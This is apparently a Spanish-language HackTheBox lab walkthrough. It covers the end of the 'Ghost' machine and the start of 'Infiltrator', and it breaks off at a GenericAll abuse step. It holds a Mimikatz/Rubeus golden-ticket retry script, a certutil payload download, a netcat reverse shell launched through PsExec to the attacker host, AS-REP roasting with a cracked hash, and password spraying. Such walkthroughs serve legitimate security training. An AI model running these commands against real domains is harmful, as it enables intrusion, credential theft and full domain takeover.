$targetDirectory = "\\dc01.ghost.htb\c$"

# Funciรณn para ejecutar un comando y esperar a que termine
function Run-Command {
    param (
        [string]$cmd
    )
    & cmd /c $cmd | Out-Null
}

# Bucle que seguirรก intentando hasta obtener acceso
while ($true) {
    try {
        # Ejecutar Mimikatz para obtener informaciรณn de trusts y generar el Golden Ticket
        Run-Command "$mimikatzPath $mimikatzTrustCmd"
        Run-Command "$mimikatzPath $mimikatzGoldenCmd"

        # Ejecutar Rubeus para solicitar un TGS y aplicar el ticket en memoria
        Run-Command "$rubeusPath asktgs $rubeusCmd"

        # Verificar si se tiene acceso al directorio
        $access = Test-Path $targetDirectory
        if ($access) {
            Write-Host "Acceso concedido a $targetDirectory"
            dir $targetDirectory
            break
        } else {
            Write-Host "Acceso denegado. Purgando tickets y reintentando..."
            klist purge
        }
    } catch {
        Write-Host "Ocurriรณ un error: $_"
        klist purge
    }
}

Ejecutaremos el script de PowerShell y verificaremos que finalmente ganamos acceso a los recursos compartidos del DC.

PS C:\ProgramData> .\exploit.ps1
.\exploit.ps1
Access granted to \\dc01.ghost.htb\c$


    Directory: \\dc01.ghost.htb\c$


Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
d-----          5/8/2021   1:20 AM                PerfLogs                                                             
d-r---         7/22/2024   9:55 AM                Program Files                                                        
d-----         7/22/2024   9:55 AM                Program Files (x86)                                                  
d-r---          2/4/2024   1:48 PM                Users                                                                
d-----         7/10/2024   3:08 AM                Windows   

Teniendo acceso a los recursos del Domain Controller, podemos visualziar directamente la flag de root.txt.

PS C:\ProgramData> cat \\DC01.ghost.htb\C$\Users\Administrator\Desktop\root.txt
cat \\DC01.ghost.htb\C$\Users\Administrator\Desktop\root.txt
9aa9bfa25***********************

Shell as Ghost Administrator

Pero lo que nos interesa realmente, es convertirnos en el usuario Administrator en el DC. Por lo tanto, lo que realizaremos es compartir el binario de nc.exe desde PRIMARY hasta el DC01. Verificaremos que se ha copiado el binario correctamente.

PS C:\ProgramData> copy nc.exe \\dc01.ghost.htb\c$\ProgramData
copy nc.exe \\dc01.ghost.htb\c$\windows\ProgramData

PS C:\ProgramData> dir \\DC01.ghost.htb\C$\ProgramData
dir \\DC01.ghost.htb\C$\ProgramData


    Directory: \\DC01.ghost.htb\C$\ProgramData


Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
d---s-         7/22/2024   9:55 AM                Microsoft                                                            
d-----         7/22/2024   9:55 AM                Package Cache                                                        
d-----         1/30/2024   7:09 PM                Packages                                                             
d-----         1/30/2024   7:19 PM                regid.1991-06.com.microsoft                                          
d-----          5/8/2021   1:20 AM                SoftwareDistribution                                                 
d-----          5/8/2021   2:36 AM                ssh                                                                  
d-----         1/30/2024   9:24 AM                USOPrivate                                                           
d-----          5/8/2021   1:20 AM                USOShared                                                            
d-----         1/30/2024   9:21 AM                VMware                                                               
-a----          2/7/2025  12:50 PM          30208 ADFSDump.exe                                                         
-a----          2/7/2025   6:51 PM          28160 nc.exe    

Dado que ahora tenemos una sesiรณn con TGS vรกlido como Administrador del dominio GHOST.HTB para acceder al servicio CIFS, podemos ejecutar PsExec para ejecutar comandos en sistemas remotos.

Compartiremos el binario de PsExec64.exe a travรฉs de un servidor web.

โฏ ls -l PsExec64.exe
.rw-rw-r-- kali kali 814 KB Tue Apr 11 18:10:26 2023 ๏…บ PsExec64.exe

โฏ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Descargaremos el binario correspondiente en el equipo de PRIMARY.

PS C:\ProgramData> certutil.exe -f -urlcache -split http://10.10.16.7/PsExec64.exe PsExec64.exe
certutil.exe -f -urlcache -split http://10.10.16.7/PsExec64.exe PsExec64.exe
****  Online  ****
  000000  ...
  0cb7c0
CertUtil: -URLCache command completed successfully.

Desde una terminal nueva, nos pondremos en escucha para recibir la shell.

โฏ rlwrap -cAr nc -nlvp 4444
listening on [any] 4444...

A travรฉs del siguiente comando, ejecutaremos en el DC01 el nc.exe que hemos copiado para otorngarnos una Reverse Shell hacia nuestro equipo.

PS C:\ProgramData> .\PsExec64.exe -acepteula \\DC01.ghost.htb cmd.exe /c "C:\ProgramData\nc.exe -e powershell 10.10.16.7 4444"
.\PsExec64.exe -acepteula \\DC01.ghost.htb cmd.exe /c "C:\ProgramData\nc.exe -e powershell 10.10.16.7 4444"

PsExec v2.43 - Execute processes remotely
Copyright (C) 2001-2023 Mark Russinovich
Sysinternals - www.sysinternals.com

Starting cmd.exe on DC01.ghost.htb...1.ghost.htb...

Verificamos que ganamos acceso al DC01.GHOST.HTB con el usuario Administrator y podemos visualizar correctamente la flag de root.txt.

โฏ rlwrap -cAr nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.11.24] 62725
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Windows\system32> whoami
whoami
corp\administrator
PS C:\Windows\system32> hostname
hostname
DC01
PS C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
9aa9bfa25***********************

Infiltrator


Reconnossaince

Realizaremos un reconocimiento con nmap para ver los puertos que estรกn expuestos en la mรกquina Infiltrator. Este resultado lo almacenaremos en un archivo llamado allPorts.

โฏ nmap -p- --open -sS --min-rate 1000 -Pn -n 10.10.11.31 -oG allPorts
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-17 16:04 CET
Nmap scan report for 10.10.11.31
Host is up (0.055s latency).
Not shown: 65513 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
3389/tcp  open  ms-wbt-server
5985/tcp  open  wsman
9389/tcp  open  adws
15220/tcp open  unknown
49666/tcp open  unknown
49688/tcp open  unknown
49690/tcp open  unknown
49692/tcp open  unknown
49723/tcp open  unknown
49740/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 188.34 seconds

A travรฉs de la herramienta de extractPorts, la utilizaremos para extraer los puertos del archivo que nos generรณ el primer escaneo a travรฉs de Nmap. Esta herramienta nos copiarรก en la clipboard los puertos encontrados.

โฏ extractPorts allPorts

[*] Extracting information...

	[*] IP Address: 10.10.11.31
	[*] Open ports: 53,80,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389,15220,49666,49688,49690,49692,49723,49740

[*] Ports copied to clipboard

Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. Verificamos a travรฉs del resultado obtenido de que la mรกquina se trata de un Domain Controller (DC) por los puertos y servicios que se encuentran expuestos.

โฏ nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389,15220,49666,49688,49690,49692,49723,49740 10.10.11.31 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-17 17:56 CET
Nmap scan report for dc01.infiltrator.htb (10.10.11.31)
Host is up (0.067s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Infiltrator.htb
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-01-17 16:56:21Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-17T16:59:39+00:00; -9s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Not valid before: 2024-08-04T18:48:15
|_Not valid after:  2099-07-17T18:48:15
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-17T16:59:39+00:00; -9s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Not valid before: 2024-08-04T18:48:15
|_Not valid after:  2099-07-17T18:48:15
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-17T16:59:39+00:00; -9s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Not valid before: 2024-08-04T18:48:15
|_Not valid after:  2099-07-17T18:48:15
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Not valid before: 2024-08-04T18:48:15
|_Not valid after:  2099-07-17T18:48:15
|_ssl-date: 2025-01-17T16:59:39+00:00; -9s from scanner time.
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-01-17T16:59:39+00:00; -9s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: INFILTRATOR
|   NetBIOS_Domain_Name: INFILTRATOR
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: infiltrator.htb
|   DNS_Computer_Name: dc01.infiltrator.htb
|   DNS_Tree_Name: infiltrator.htb
|   Product_Version: 10.0.17763
|_  System_Time: 2025-01-17T16:58:59+00:00
| ssl-cert: Subject: commonName=dc01.infiltrator.htb
| Not valid before: 2025-01-16T14:59:08
|_Not valid after:  2025-07-18T14:59:08
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
15220/tcp open  unknown
49666/tcp open  msrpc         Microsoft Windows RPC
49688/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49690/tcp open  msrpc         Microsoft Windows RPC
49692/tcp open  msrpc         Microsoft Windows RPC
49723/tcp open  msrpc         Microsoft Windows RPC
49740/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Aggressive OS guesses: Windows Server 2019 (97%), Microsoft Windows 10 1903 - 21H1 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-01-17T16:59:02
|_  start_date: N/A
|_clock-skew: mean: -8s, deviation: 0s, median: -9s

TRACEROUTE (using port 139/tcp)
HOP RTT      ADDRESS
1   85.41 ms 10.10.16.1
2   85.45 ms dc01.infiltrator.htb (10.10.11.31)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 206.88 seconds

Procederemos a transformar el archivo generado targetedXML para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.

โฏ xsltproc targetedXML > index.html
โฏ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Accederemos a http://localhost y verificaremos el resultado en un formato mรกs cรณmodo para su anรกlisis.

A travรฉs de la herramienta de netexec y ldapsearch procederemos a enumerar el equipo para localizar mรกs informaciรณn. Entre la informaciรณn obtenida, verificamos el hostname, versiรณn del SO y el nombre del dominio.

โฏ nxc smb 10.10.11.31
SMB         10.10.11.31     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)

โฏ ldapsearch -x -H ldap://10.10.11.31 -s base | grep defaultNamingContext
defaultNamingContext: DC=infiltrator,DC=htb

Procederemos a aรฑadir en nuestro archivo /etc/hosts las entradas correspondientes para que a la hora de hacer referencia al dominio o el equipo nos responda correctamente a la direcciรณn IP del equipo.

โฏ cat /etc/hosts | grep 10.10.11.31
10.10.11.31 dc01.infiltrator.htb infiltrator.htb

Por otro lado, para trabajar con el protocolo de Kerberos y no tener problemas durante la explotaciรณn de la mรกquina, deberemos de sincronizar nuestro reloj con la del Domain Controller.

Ademรกs, deberemos de informar en el archivo /etc/resolv.conf la direcciรณn IP del DC para no tener problemas posteriormente.

โฏ sudo ntpdate -s 10.10.11.31

โฏ cat /etc/resolv.con| grep 10.10.11.31
nameserver 10.10.11.31

โฏ sudo systemctl restart NetworkManager

Web Enumeration

Nuestro primer objetivo serรก la pรกgina web de http://infiltrator.htb, en la cual a simple vista no vemos ningรบn dato interesante que nos pueda servir.

Information Leakage

Revisando en el apartado de About, verificamos que aparecen nombres de los empleados. Esta informaciรณn nos puede servir.

Guardaremos los nombres completos de los empleados que aparecรญan en la pรกgina. A travรฉs del script de namenash.py procederemos a crear un listado de usuarios a travรฉs del listado de empleados que disponemos.

https://gist.githubusercontent.com/superkojiman/11076951/raw/74f3de7740acb197ecfa8340d07d3926a95e5d46/namemash.py
โฏ wget https://gist.githubusercontent.com/superkojiman/11076951/raw/74f3de7740acb197ecfa8340d07d3926a95e5d46/namemash.py
--2025-01-17 18:42:27--  https://gist.githubusercontent.com/superkojiman/11076951/raw/74f3de7740acb197ecfa8340d07d3926a95e5d46/namemash.py
Resolviendo gist.githubusercontent.com (gist.githubusercontent.com)... 185.199.108.133, 185.199.110.133, 185.199.109.133, ...
Conectando con gist.githubusercontent.com (gist.githubusercontent.com)[185.199.108.133]:443... conectado.
Peticiรณn HTTP enviada, esperando respuesta... 200 OK
Longitud: 2086 (2,0K) [text/plain]
Grabando a: ยซnamemash.pyยป

namemash.py                                               100%[===================================================================================================================================>]   2,04K  --.-KB/s    en 0s      

2025-01-17 18:42:28 (34,3 MB/s) - ยซnamemash.pyยป guardado [2086/2086]

โฏ cat employees.txt
david anderson
olivia martinez
kevin turner
amanda walker
marcus harris
lauren clark
ethan rodriguez

โฏ chmod +x namemash.py

โฏ ./namemash.py employees.txt > possible_users.txt

A travรฉs de la herramienta de Kerbrute, enumeraremos el listado de usuarios que nos ha generado el script anterior. En el resultado obtenido, verificamos que de los 78 usuarios posibles que tenรญamos, solamente 7 usuarios son vรกlidos a nivel de dominio.

โฏ kerbrute userenum --dc 10.10.11.31 -d infiltrator.htb possible_users.txt

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 01/17/25 - Ronnie Flathers @ropnop

2025/01/17 18:44:37 >  Using KDC(s):
2025/01/17 18:44:37 >  	10.10.11.31:88

2025/01/17 18:44:37 >  [+] VALID USERNAME:	d.anderson@infiltrator.htb
2025/01/17 18:44:37 >  [+] VALID USERNAME:	o.martinez@infiltrator.htb
2025/01/17 18:44:37 >  [+] VALID USERNAME:	k.turner@infiltrator.htb
2025/01/17 18:44:37 >  [+] VALID USERNAME:	a.walker@infiltrator.htb
2025/01/17 18:44:37 >  [+] VALID USERNAME:	m.harris@infiltrator.htb
2025/01/17 18:44:37 >  [+] VALID USERNAME:	e.rodriguez@infiltrator.htb
2025/01/17 18:47:44 >  [+] VALID USERNAME:	l.clark@infiltrator.htb
2025/01/17 18:44:37 >  Done! Tested 78 usernames (7 valid) in 0.872 seconds

Procederemos a guardarnos los usuarios vรกlidos del dominio en el archivo users.txt.

โฏ cat users.txt
2025/01/17 18:44:37 >  [+] VALID USERNAME:	d.anderson@infiltrator.htb
2025/01/17 18:44:37 >  [+] VALID USERNAME:	o.martinez@infiltrator.htb
2025/01/17 18:44:37 >  [+] VALID USERNAME:	k.turner@infiltrator.htb
2025/01/17 18:44:37 >  [+] VALID USERNAME:	a.walker@infiltrator.htb
2025/01/17 18:44:37 >  [+] VALID USERNAME:	m.harris@infiltrator.htb
2025/01/17 18:44:37 >  [+] VALID USERNAME:	e.rodriguez@infiltrator.htb
2025/01/17 18:47:44 >  [+] VALID USERNAME:	l.clark@infiltrator.htb
โฏ cat users.txt | awk '{print $NF}' | awk '{print $1}' FS='@'
d.anderson
o.martinez
k.turner
a.walker
m.harris
e.rodriguez
l.clark
โฏ cat users.txt | awk '{print $NF}' | awk '{print $1}' FS='@' | sponge users.txt

AS-REP Roast Attack (GetNPUsers)

Dado que disponemos de un listado potencial de usuarios, realizaremos el ataque de AS-REP Roast Attack. Al realizar el ataque revisarรก si alguno de los usuarios que disponemos dispone de la flag (DONT_REQ_PREAUTH) de Kerberos, para asรญ obtener un hash TGT (Ticket Granting Ticket) que posteriormente podremos intentar crackear.

En este caso, verificamos que hemos logrado obtener el hash TGT del usuario l.clark@infiltrator.htb, este hash lo almacenaremos en un archivo.

โฏ impacket-GetNPUsers -no-pass -usersfile users.txt infiltrator.htb/ 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[-] User d.anderson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User o.martinez doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User k.turner doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User a.walker doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User m.harris doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User e.rodriguez doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$l.clark@INFILTRATOR.HTB:76890a639a822a2a5f2aca12844f246d$0bf760af3d8cfce1b276ff32c9da558ca0073da317e52f22b343d7284af86d21abc939d1332f83eb6bd8c327e5bdf96c737468840ab0cfc87bf95201887f8d8c6c1bce285a08bd060ed9fc4d16192970262eb3216ada25bfc293f599e8af46d2ddc83774da32f0487b45e09648de0c23b7dd8643568245b6fbbc72686d036e432571e7862b934b74a7acb895572dc539401235856869f8fdd87066be370d5ef2184cf2f4c85b9783853445778fdce0d07d938c86e0d633516a394eba4858afda625102b5c35134904ac34ab978bfed656ba6a15830a011d4e151b2d32b1d215b0d94beb2180a8cc237581de7967a423fef8e

Intentaremos crackear el hash obtenido a travรฉs de la herramienta hashcat, en este caso, logramos obtener la contraseรฑa en texto plano del usuario l.clark@infiltrator.htb.

โฏ hashcat -a 0 hashes /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-sandybridge-11th Gen Intel(R) Core(TM) i5-1135G7 @ 2.40GHz, 2913/5891 MB (1024 MB allocatable), 8MCU

Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

18200 | Kerberos 5, etype 23, AS-REP | Network Protocol

...[snip]...

$krb5asrep$23$l.clark@INFILTRATOR.HTB:76890a639a822a2a5f2aca12844f246d$0bf760af3d8cfce1b276ff32c9da558ca0073da317e52f22b343d7284af86d21abc939d1332f83eb6bd8c327e5bdf96c737468840ab0cfc87bf95201887f8d8c6c1bce285a08bd060ed9fc4d16192970262eb3216ada25bfc293f599e8af46d2ddc83774da32f0487b45e09648de0c23b7dd8643568245b6fbbc72686d036e432571e7862b934b74a7acb895572dc539401235856869f8fdd87066be370d5ef2184cf2f4c85b9783853445778fdce0d07d938c86e0d633516a394eba4858afda625102b5c35134904ac34ab978bfed656ba6a15830a011d4e151b2d32b1d215b0d94beb2180a8cc237581de7967a423fef8e:WAT?watismypass!

Verificaremos a travรฉs de la herramienta nxc de validar las credenciales obtenidas, comprobamos que son vรกlidas para dicho usuario.

โฏ nxc smb 10.10.11.31 -u 'l.clark' -p 'WAT?watismypass!'
SMB         10.10.11.31     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.31     445    DC01             [+] infiltrator.htb\l.clark:WAT?watismypass! 

LDAP Enumeration (ldapdomaindump)

Dado que disponemos de credenciales vรกlidas, procederemos a realizar una enumeraciรณn de LDAP a travรฉs de la herramienta de ldapdomaindump.

โฏ ldapdomaindump -u 'infiltrator.htb\l.clark' -p 'WAT?watismypass!' dc01.infiltrator.htb -o ldap
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished

โฏ cd ldap

โฏ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Al revisar el archivo domain_users, verificamos el listado de usuarios del dominio. Tambiรฉn notamos que el usuario k.turner@infiltrator.htb en su campo Description aparece lo que parece ser una contraseรฑa.

Probaremos de validar si esas credenciales encontradas en el LDAP son vรกlidas para el usuario. Verificamos que no podemos autenticarnos con estas credenciales, alomejor nos pueden servir para mรกs adelante...

โฏ nxc smb 10.10.11.31 -u 'k.turner' -p 'MessengerApp@Pass!'
SMB         10.10.11.31     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.31     445    DC01             [-] infiltrator.htb\k.turner:MessengerApp@Pass! STATUS_LOGON_FAILURE 

NTLM is disabled? Testing Kerberos authentication

Al realizar un Password Spraying de una de las credenciales que disponemos, verificamos que en dos cuentas nos aparece el mensaje de STATUS_ACCOUNT_RESTRICTION, lo cual nos llama bastante la atenciรณn.

โฏ nxc smb 10.10.11.31 -u users.txt -p 'WAT?watismypass!' --continue-on-success
SMB         10.10.11.31     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.31     445    DC01             [-] infiltrator.htb\d.anderson:WAT?watismypass! STATUS_ACCOUNT_RESTRICTION 
SMB         10.10.11.31     445    DC01             [-] infiltrator.htb\o.martinez:WAT?watismypass! STATUS_LOGON_FAILURE 
SMB         10.10.11.31     445    DC01             [-] infiltrator.htb\k.turner:WAT?watismypass! STATUS_LOGON_FAILURE 
SMB         10.10.11.31     445    DC01             [-] infiltrator.htb\a.walker:WAT?watismypass! STATUS_LOGON_FAILURE 
SMB         10.10.11.31     445    DC01             [-] infiltrator.htb\m.harris:WAT?watismypass! STATUS_ACCOUNT_RESTRICTION 
SMB         10.10.11.31     445    DC01             [-] infiltrator.htb\e.rodriguez:WAT?watismypass! STATUS_LOGON_FAILURE 
SMB         10.10.11.31     445    DC01             [+] infiltrator.htb\l.clark:WAT?watismypass!

Al volver a ejecutar el mismo comando anterior pero indicando que se autentique mediante Kerberos y no NTLM, verificamos que las credenciales tambiรฉn son vรกlidas para el usuario d.anderson@infiltrator.htb.

Esto nos lleva a la siguiente pregunta: es posible que la autenticaciรณn NTLM estรฉ deshabilitada para algunos usuarios, por ese motivo nos marca como STATUS_ACCOUNT_RESTRICTION.

โฏ nxc smb 10.10.11.31 -u users.txt -p 'WAT?watismypass!' --continue-on-success -k
SMB         10.10.11.31     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.31     445    DC01             [+] infiltrator.htb\d.anderson:WAT?watismypass! 
SMB         10.10.11.31     445    DC01             [-] infiltrator.htb\o.martinez:WAT?watismypass! KDC_ERR_PREAUTH_FAILED 
SMB         10.10.11.31     445    DC01             [-] infiltrator.htb\k.turner:WAT?watismypass! KDC_ERR_PREAUTH_FAILED 
SMB         10.10.11.31     445    DC01             [-] infiltrator.htb\a.walker:WAT?watismypass! KDC_ERR_PREAUTH_FAILED 
SMB         10.10.11.31     445    DC01             [-] infiltrator.htb\m.harris:WAT?watismypass! KDC_ERR_PREAUTH_FAILED 
SMB         10.10.11.31     445    DC01             [-] infiltrator.htb\e.rodriguez:WAT?watismypass! KDC_ERR_PREAUTH_FAILED 
SMB         10.10.11.31     445    DC01             [+] infiltrator.htb\l.clark:WAT?watismypass! 

Si realizamos nuevamente el Password Spraying desde la herramienta de Kerbrute, verificamos que obtenemos el mismo resultado anterior.

โฏ kerbrute passwordspray -d infiltrator.htb --dc dc01.infiltrator.htb users.txt 'WAT?watismypass!'

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 01/17/25 - Ronnie Flathers @ropnop

2025/01/17 18:55:02 >  Using KDC(s):
2025/01/17 18:55:02 >  	dc01.infiltrator.htb:88

2025/01/17 18:55:02 >  [+] VALID LOGIN:	l.clark@infiltrator.htb:WAT?watismypass!
2025/01/17 18:55:02 >  [+] VALID LOGIN:	d.anderson@infiltrator.htb:WAT?watismypass!
2025/01/17 18:55:02 >  Done! Tested 7 logins (2 successes) in 0.343 seconds

Validaremos que con el usuario d.anderson@infiltrator.htb a travรฉs de autenticaciรณn NTLM no podemos autenticarnos, en cambio, a travรฉs de la autenticaciรณn de Kerberos si.

โฏ nxc smb dc01.infiltrator.htb -u 'd.anderson' -p 'WAT?watismypass!'
SMB         10.10.11.31     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.31     445    DC01             [-] infiltrator.htb\d.anderson:WAT?watismypass! STATUS_ACCOUNT_RESTRICTION 
โฏ nxc smb dc01.infiltrator.htb -u 'd.anderson' -p 'WAT?watismypass!' -k
SMB         dc01.infiltrator.htb 445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB         dc01.infiltrator.htb 445    DC01             [+] infiltrator.htb\d.anderson:WAT?watismypass! 

Procederemos a solicitar un TGT (Ticket Granting Ticket) para el usuario, para poder utilizarlo para autenticarnos con este usuario. El ticket obtenido d.anderson.ccache lo almacenaremos en la variable KRB5CCNAME y verificaremos a travรฉs de klist -e de que el ticket TGT estรก correctamente configurado.

โฏ impacket-getTGT infiltrator.htb/d.anderson:'WAT?watismypass!'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in d.anderson.ccache

โฏ export KRB5CCNAME=$(pwd)/d.anderson.ccache

โฏ klist -e
Ticket cache: FILE:/home/kali/Desktop/HackTheBox/Windows/Infiltrator/Infiltrator2/content/d.anderson.ccache
Default principal: d.anderson@INFILTRATOR.HTB

Valid starting     Expires            Service principal
17/01/25 21:17:44  18/01/25 01:17:44  krbtgt/INFILTRATOR.HTB@INFILTRATOR.HTB
	renew until 18/01/25 01:17:44, Etype (skey, tkt): aes256-cts-hmac-sha1-96, aes256-cts-hmac-sha1-96

BloodHound Enumeration

A continuaciรณn, realizaremos una enumeraciรณn del dominio entero a travรฉs de BloodHound. El siguiente comando nos crearรก un archivo .zip el cual contendrรก toda la informaciรณn del dominio. Lo que buscamos en realizar esta enumeraciรณn es buscar posibles vectores de ataque para escalar nuestros privilegios.

En este caso hemos utilizado al usuario d.anderson y nos autenticamos mediante Kerberos -k, pero podrรญamos haber utilizado el usuario l.clark dado que esta usuaria se puede autenticar mediante NTLM.

โฏ bloodhound-python -c All -ns 10.10.11.31 -u 'd.anderson' -p 'WAT?watismypass!' -k --auth-method kerberos -d infiltrator.htb --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: infiltrator.htb
INFO: Using TGT from cache
INFO: Found TGT with correct principal in ccache file.
INFO: Connecting to LDAP server: dc01.infiltrator.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.infiltrator.htb
INFO: Found 14 users
INFO: Found 58 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.infiltrator.htb
INFO: Done in 00M 15S
INFO: Compressing output into 20250117191838_bloodhound.zip

Revisando en BloodHound, verificamos que solamente el usuario Administrator es un Domain Admin.

Verificando posibles vรญas potenciales para escalar nuestros privilegios actuales, nos encontramos con el siguiente path que parece ser el mรกs adecuado para llegar a conectarnos al Domain Controller.

Initial Access

Abuse of GenericAll privileges on an OU to gain full control of objects

Verificamos que el usuario que disponemos actualmente, dispone de privilegios GenericAll sobre la Organizational Unit (OU) llamada MARKETING DIGITAL.

Esto indica que tiene el control total sobre la OU, un privilegio peligroso debido que podemos tener el control total de esta OU y de los objetos que se encuentren en esta misma.

